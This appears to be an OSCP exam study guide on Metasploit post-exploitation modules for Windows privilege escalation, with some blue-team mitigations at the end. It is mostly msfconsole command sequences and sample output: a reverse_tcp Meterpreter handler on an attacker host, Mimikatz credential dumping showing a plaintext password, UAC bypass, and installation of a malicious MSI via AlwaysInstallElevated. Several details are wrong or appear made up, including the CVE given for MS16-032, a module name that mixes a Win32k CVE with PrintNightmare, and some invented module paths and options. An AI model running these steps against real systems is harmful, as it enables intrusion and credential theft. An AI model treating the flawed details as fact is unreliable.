Metasploit Post Modules for Windows
Overview
Metasploit Framework provides a rich collection of post-exploitation modules specifically designed for Windows privilege escalation. These modules automate enumeration, exploit suggestion, and exploitation — making them powerful time-savers during the OSCP exam. However, they also have significant limitations: they can be unreliable, may crash the target system, and sometimes miss vulnerabilities that manual enumeration would find.
The key to using Metasploit post modules effectively is knowing when to use them and when to fall back to manual techniques.
How Metasploit Post Modules Work
Module Architecture
Metasploit post modules operate within an existing session (typically a Meterpreter session) and perform actions on the target system. They are organized into categories:
| Category | Path Prefix | Purpose |
|---|---|---|
| Recon | post/multi/recon/ or post/windows/gather/ |
Information gathering |
| Exploit | post/windows/escalate/ |
Privilege escalation |
| Gather | post/windows/gather/ |
Credential/data collection |
| Bypass | post/windows/escalate/ |
UAC and other bypasses |
When to Use Metasploit vs Manual Enumeration
| Factor | Use Metasploit | Use Manual |
|---|---|---|
| Time pressure | Quick initial scan | Thorough investigation |
| Session type | Meterpreter session | Any shell (even basic cmd) |
| Reliability needed | First-pass screening | Final exploitation |
| Stealth required | No (noisy) | Yes (controlled commands) |
| BSOD risk | Higher (auto-exploits) | Lower (manual control) |
| Complex scenarios | May miss edge cases | Better for custom situations |
Recommended approach for OSCP:
- Use
local_exploit_suggesterfor a quick overview - Use manual tools (PowerUp, WinPEAS, accesschk) for thorough enumeration
- Use Metasploit exploit modules only when manual exploitation is complex
- Always verify Metasploit suggestions manually before relying on them
Key Modules — Detailed Reference
1. post/multi/recon/local_exploit_suggester
What It Does
This is the most important Metasploit post module for Windows privesc. It collects system information from the target and cross-references it against a database of known exploits to suggest applicable privilege escalation vectors.
How It Works
- Collects OS version, build number, and architecture
- Collects installed hotfixes/patches
- Compares against its internal exploit database
- Returns a list of potentially applicable exploits with reliability ratings
Usage
# From msfconsole with an active Meterpreter session
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
msf6 post(multi/recon/local_exploit_suggester) > run
Options
| Option | Description | Default |
|---|---|---|
SESSION |
The session to run on | (required) |
REMOVE_OLD_CHECKS |
Remove checks for exploits older than 2 years | false |
KERNEL_PRIVACY_GUARD |
Enable kernel privacy guard checks | false |
Interpreting Output
[*] 10.10.10.5 - Collecting local exploits for x64 Windows 10.0.17763...
[*] 10.10.10.5 - Selecting exploits with local kernel...
[+] 10.10.10.5 - exploit/windows/local/cve_2020_0787_bits_elevation_of_privilege [Rank: Normal]
Version: 10.0.17763
Current Build: 17763
Reliability: Great
Download URL: https://raw.githubusercontent.com/...
[+] 10.10.10.5 - exploit/windows/local/cve_2019_1458_printnightmare [Rank: Normal]
Version: 10.0.17763
Current Build: 17763
Reliability: Great
Download URL: https://raw.githubusercontent.com/...
[*] 10.10.10.5 - Collecting local exploits for x86 Windows 10.0.17763...
[*] 10.10.10.5 - 20 exploit(s) may be available based on the current info only
Understanding reliability ratings:
| Rating | Meaning | Action |
|---|---|---|
| Great | Very stable, low BSOD risk | Safe to use |
| Good | Generally stable | Use with caution |
| Normal | May be unstable | Test carefully |
| Average | Potentially unstable | Last resort |
| Manual | Requires manual configuration | Expert only |
Reliability of Suggestions
Important caveats:
- The exploit database may be outdated — update Metasploit regularly (
sudo msfdb runorgem update) - Suggestions are based on OS version and missing patches — they don’t verify the exploit actually works
- Some suggested exploits may crash the system (BSOD)
- Always verify by checking the actual hotfixes on the target:
wmic qfe get HotFixID - The module may suggest exploits for older builds that have since been patched
2. post/windows/gather/credentials/mimikatz
What It Does
Automates credential dumping using Mimikatz. Extracts passwords, hashes, and Kerberos tickets from memory.
Usage
msf6 > use post/windows/gather/credentials/mimikatz
msf6 post(windows/gather/credentials/mimikatz) > set SESSION 1
msf6 post(windows/gather/credentials/mimikatz) > run
Options
| Option | Description | Default |
|---|---|---|
SESSION |
The session to run on | (required) |
MIMIKATZ_COMMANDS |
Custom Mimikatz commands | privilege::debug\nsekurlsa::logonpasswords |
MIMIKATZ_EXECUTABLE |
Path to custom mimikatz binary | (auto-downloads) |
KIWI_METHOD |
Meterpreter kiwi extension method | copy |
What It Extracts
| Data Type | Description | Use Case |
|---|---|---|
| Plaintext passwords | Passwords stored in memory (LSASS) | Direct login, pass-the-hash |
| NTLM hashes | Windows password hashes | Pass-the-hash attacks |
| Kerberos tickets | TGT and service tickets | Kerberoasting, pass-the-ticket |
| Credential blobs | Cached credentials | Lateral movement |
Sample Output
[*] Running Mimikatz on 10.10.10.5...
[*] Please wait, extracting credentials...
[*] Authentication Package : Kerberos
[*] Domain : TARGET
[*] NTLM : aad3b435b51404ee
[*] SHA1 : 2a542dd900e98fdaba065692893e8e7c
[*] Username : $MACHINE.ACC
[*] Authentication Package : Kerberos
[*] Domain : TARGET
[*] Password : SuperSecret123!
[*] NTLM : 8846f7ea319f284e873c175458a00024
[*] SHA1 : 6e564f04a9c674d4fab3ae31c03cf4b7
[*] Username : Administrator
3. post/windows/escalate/ms16_032
What It Does
Exploits CVE-2016-0015 (MS16-032), a Secondary Logon Handle exploitation vulnerability. This allows a low-privileged user to steal a high-privileged token by abusing the Secondary Logon service.
When It Applies
- Windows Server 2003 through Windows 10 (before patch)
- The Secondary Logon service (
seclogon) must be running - The service binary must be vulnerable (unpatched)
Usage
msf6 > use post/windows/escalate/ms16_032
msf6 post(windows/escalate/ms16_032) > set SESSION 1
msf6 post(windows/escalate/ms16_032) > run
How It Works
- The Secondary Logon service creates processes on behalf of users
- MS16-032 allows an attacker to manipulate the handle used by this service
- The attacker steals a SYSTEM token from the handle
- A new Meterpreter session is created with SYSTEM privileges
Verification Before Use
# On the target, check if seclogon is running
sc query seclogon
# Check if the patch is installed
wmic qfe get HotFixID | findstr "KB3164038"
# If KB3164038 is NOT installed, the system may be vulnerable
4. post/windows/escalate/always_install_elevated
What It Does
Checks if the AlwaysInstallElevated registry policy is enabled and, if so, creates and installs a malicious MSI package that executes with SYSTEM privileges.
How It Works
- Checks both registry keys:
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevatedHKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
- If both are set to
1, creates a malicious MSI - Installs the MSI using
msiexec, which runs as SYSTEM - Returns a SYSTEM Meterpreter session
Usage
msf6 > use post/windows/escalate/always_install_elevated
msf6 post(windows/escalate/always_install_elevated) > set SESSION 1
msf6 post(windows/escalate/always_install_elevated) > run
Options
| Option | Description | Default |
|---|---|---|
SESSION |
The session to run on | (required) |
FORCE |
Force installation even if check fails | false |
Sample Output
[*] Checking if AlwaysInstallElevated is enabled...
[+] The registry parameter AlwaysInstallElevated is equal to '1'
[*] AlwaysInstallElevated is enabled, creating a payload msi package of type windows/meterpreter/reverse_tcp
[*] Project: 'Cowen Technologies'
[*] Upgrade code: '{...}'
[*] Generating MSI and compiling...
[*] Passing package to msiexec...
[*] New session opened...
5. post/windows/escalate/bypassuac
What It Does
Bypasses User Account Control (UAC) to obtain an elevated token. Useful when you are an administrator but have a filtered (non-elevated) token.
Available UAC Bypass Methods
The module supports multiple techniques:
| Method | Technique | Affected Systems |
|---|---|---|
0 |
Default (auto-select) | Auto |
1 |
fodhelper.exe |
Win 10 1607-1803 |
2 |
regsvr32.exe |
Win 7 - Win 10 |
3 |
mshta.exe |
Win 7 - Win 10 |
4 |
cmstp.exe |
Win 7 - Win 10 |
5 |
control.exe |
Win 7 - Win 10 |
6 |
installutil.exe |
Win 7 - Win 10 |
Usage
msf6 > use post/windows/escalate/bypassuac
msf6 post(windows/escalate/bypassuac) > set SESSION 1
msf6 post(windows/escalate/bypassuac) > set UAC_METHOD 0
msf6 post(windows/escalate/bypassuac) > run
Options
| Option | Description | Default |
|---|---|---|
SESSION |
The session to run on | (required) |
UAC_METHOD |
UAC bypass method (0 = auto) | 0 |
ARCH |
Architecture (x86, x64, or both) | both |
FORCE |
Force execution even if UAC check fails | false |
6. post/windows/escalate/enum_services
What It Does
Enumerates Windows services and identifies potential privilege escalation vectors, including:
- Services with weak permissions
- Services running as privileged accounts
- Services with writable binary paths
Usage
msf6 > use post/windows/escalate/enum_services
msf6 post(windows/escalate/enum_services) > set SESSION 1
msf6 post(windows/escalate/enum_services) > run
Sample Output
[*] 10.10.10.5 - Enumerating services...
[+] 10.10.10.5 - Service: VulnService
Path: C:\Program Files\VulnApp\service.exe
Account: LocalSystem
Start: Auto
State: Running
Writable by: Everyone
[+] 10.10.10.5 - Service: LegacyApp
Path: C:\Program Files\Legacy\app.exe
Account: NT AUTHORITY\SYSTEM
Start: Auto
State: Running
Writable by: BUILTIN\Users
7. post/windows/escalate/impersonate_service
What It Does
Attempts to escalate privileges by impersonating a service that runs with higher privileges. Works by manipulating service tokens.
Usage
msf6 > use post/windows/escalate/impersonate_service
msf6 post(windows/escalate/impersonate_service) > set SESSION 1
msf6 post(windows/escalate/impersonate_service) > run
8. post/windows/escalate/se_debug_privilege
What It Does
Attempts to abuse the SeDebugPrivilege to access and manipulate other processes. This privilege allows a process to debug (and thus manipulate) any other process on the system.
When It Applies
- The current user has
SeDebugPrivilegeenabled - There are high-privileged processes running that can be manipulated
Usage
msf6 > use post/windows/escalate/se_debug_privilege
msf6 post(windows/escalate/se_debug_privilege) > set SESSION 1
msf6 post(windows/escalate/se_debug_privilege) > run
Meterpreter vs Post Module Workflow
Complete Workflow Example
# ============================================
# Complete Metasploit Post-Exploitation Workflow
# ============================================
# Step 1: Start msfconsole
msfconsole
# Step 2: Set up listener for initial access
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
run
# Step 3: Trigger payload on target (via web shell, phishing, etc.)
# [Wait for session]
# Step 4: Upgrade to full Meterpreter (if needed)
# From basic shell:
sessions -u 1
# Step 5: Run local exploit suggester
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
# Step 6: Based on suggestions, choose exploitation path
# Option A: Use suggested exploit module
use exploit/windows/local/cve_2020_0787_bits_elevation_of_privilege
set SESSION 1
set LHOST 10.10.14.5
set LPORT 4445
run
# Option B: Run mimikatz for credentials
use post/windows/gather/credentials/mimikatz
set SESSION 1
run
# Option C: Check AlwaysInstallElevated
use post/windows/escalate/always_install_elevated
set SESSION 1
run
# Step 7: Verify SYSTEM access
# In the new session:
getuid
# Should return: NT AUTHORITY\SYSTEM
Meterpreter Commands for Privesc Context
# Get current user
getuid
# Get system info
sysinfo
# List all sessions
sessions -l
# Upgrade session (basic shell → Meterpreter)
sessions -u 1
# Migrate to a more stable process
ps
migrate <PID>
# Get a proper command shell
shell
# Background the session (return to msfconsole)
# Press Ctrl+Z or type: background
When Metasploit Is Helpful vs When Manual Is Better
Use Metasploit When:
| Situation | Reason |
|---|---|
| Quick initial assessment | local_exploit_suggester gives fast overview |
| AlwaysInstallElevated | Module automates the entire process |
| Credential dumping | Mimikatz module is reliable and fast |
| UAC bypass | Multiple methods available, auto-selected |
| Known CVE exploitation | If suggester finds a reliable exploit |
| Time pressure | Faster than manual enumeration |
Use Manual Enumeration When:
| Situation | Reason |
|---|---|
| Metasploit suggests nothing | Manual tools find more vectors |
| BSOD risk is high | Manual control prevents crashes |
| Complex permission issues | icacls and accesschk are more precise |
| Service exploitation | Manual sc commands give better control |
| PATH/DLL hijacking | Manual detection is more thorough |
| Stealth is needed | Metasploit is noisy and detectable |
| Metasploit exploit fails | Manual exploitation is more reliable |
Mermaid: Metasploit Post Module Flow
graph TD
A[Meterpreter Session] --> B[local_exploit_suggester]
B --> C{Suggested Exploits?}
C -->|Yes, Reliable| D[Select Suggested Exploit]
C -->|Yes, Unreliable| E[Verify Manually]
C -->|No| F[Manual Enumeration]
D --> G[Set SESSION + Options]
G --> H[Run Exploit Module]
H --> I{Success?}
I -->|Yes| J[SYSTEM Session]
I -->|No| K[Check for BSOD]
E --> L[Cross-reference with systeminfo]
L --> M{Exploit Valid?}
M -->|Yes| G
M -->|No| F
F --> N[PowerUp / WinPEAS]
N --> O{Vector Found?}
O -->|Service| P[Manual Service Exploit]
O -->|Permissions| Q[Manual File Replace]
O -->|Impersonation| R[PrintSpoofer]
O -->|AlwaysInstallElevated| S[Metasploit Module]
P --> J
Q --> J
R --> J
S --> J
K -->|BSOD| T[System Rebooted]
T --> U[Reconnect and Retry]
graph LR
subgraph Quick["Quick Wins (Metasploit)"]
A1["local_exploit_suggester"]
A2["mimikatz"]
A3["always_install_elevated"]
A4["bypassuac"]
end
subgraph Thorough["Thorough (Manual)"]
B1["PowerUp Invoke-AllChecks"]
B2["WinPEAS.exe"]
B3["accesschk.exe scans"]
B4["icacls on targets"]
B5["PrintSpoofer"]
end
subgraph Result["Result"]
C1["SYSTEM Shell"]
C2["Credentials"]
C3["Lateral Movement"]
end
Quick --> Result
Thorough --> Result
Quick -.->|If nothing found| Thorough
Metasploit Post Module Quick Reference
METASPLOIT POST MODULE QUICK REFERENCE
========================================
RECON & ENUMERATION
-------------------
post/multi/recon/local_exploit_suggester Suggest applicable exploits
post/windows/escalate/enum_services Enumerate services
post/windows/gather/checkvm Check if target is VM
post/windows/gather/enum_applications List installed applications
post/windows/gather/enum_chrome Enumerate Chrome data
post/windows/gather/enum_ie Enumerate IE data
CREDENTIAL GATHERING
--------------------
post/windows/gather/credentials/mimikatz Dump credentials via Mimikatz
post/windows/gather/smart_hashdump Smart hash dumping
post/windows/gather/enum_drives List available drives
post/windows/gather/dvcs_fetch Fetch from version control
PRIVILEGE ESCALATION
--------------------
post/windows/escalate/always_install_elevated MSI elevation
post/windows/escalate/ms16_032 Secondary Logon exploit
post/windows/escalate/bypassuac UAC bypass
post/windows/escalate/impersonate_service Service impersonation
post/windows/escalate/se_debug_privilege Debug privilege abuse
post/windows/escalate/raise_uac Raise UAC settings
USAGE PATTERN
-------------
use post/<module_path>
set SESSION <number>
[set OPTION value]
run
OSCP Exam Tips
Don’t Over-Reliance on Metasploit, But Know When It Saves Time
Priority: MEDIUM — Metasploit is a tool, not a crutch.
Key Exam Strategies
-
Run
local_exploit_suggesterfirst: It takes 30 seconds and might immediately point you to a working exploit. But don’t trust it blindly — always verify. -
Use mimikatz module for quick creds: If you have a Meterpreter session and need credentials fast, the mimikatz module is quicker than uploading and running Mimikatz manually.
-
AlwaysInstallElevated module is reliable: If the registry keys are set, this module works consistently. It’s one of the more reliable Metasploit privesc modules.
-
BSOD risk is real: Kernel exploits suggested by
local_exploit_suggestercan crash the target. On the OSCP exam, a crashed box means you lose your session and must re-exploit. Test on a non-critical session first or have a backup access method. -
Metasploit doesn’t replace PowerUp/WinPEAS: The suggester module has a limited database. PowerUp and WinPEAS often find vectors that Metasploit misses. Always run manual enumeration too.
-
Session management is critical: When running post modules, keep track of your sessions. A successful exploit creates a new session — use
sessions -lto find it. -
Meterpreter migration: If your Meterpreter session is unstable, migrate to a more stable process (
migrate <PID>) before running post modules. -
Time management: If Metasploit doesn’t yield results within 5-10 minutes, switch to manual enumeration. Don’t spend 30 minutes trying different Metasploit modules.
Common Exam Workflow
1. Get initial shell → upgrade to Meterpreter
2. Run local_exploit_suggester (30 seconds)
3. If reliable exploit suggested → try it
4. Meanwhile, upload PowerUp/WinPEAS
5. Run Invoke-AllChecks or winPEAS.exe
6. Cross-reference Metasploit suggestions with manual findings
7. Exploit the most reliable vector
8. If all else fails, try mimikatz for creds → lateral movement
Common Pitfalls
- Trusting unreliable suggestions: A “Normal” or “Average” reliability rating means the exploit might crash the system.
- Forgetting to set SESSION: Many modules fail silently if SESSION isn’t set.
- Not checking architecture: Use the correct payload architecture (x86 vs x64) for the target.
- Losing track of sessions: After a successful exploit, a new session is created. Use
sessions -lto find it. - Metasploit database outdated: Run
sudo msfdb runor update your Metasploit installation regularly.
Mitigation for Blue Team
- Keep Metasploit signatures updated: Regularly update your Metasploit installation to ensure the exploit database is current.
- Patch management: Apply all security patches promptly to eliminate kernel exploit vectors.
- Credential protection: Enable Credential Guard, use LSA protection, and enforce complex passwords to mitigate Mimikatz.
- Disable unnecessary services: Disable Secondary Logon, Print Spooler, and other services that aren’t needed.
- Monitor Meterpreter indicators: Look for suspicious process injection, migration, and network connections consistent with Meterpreter activity.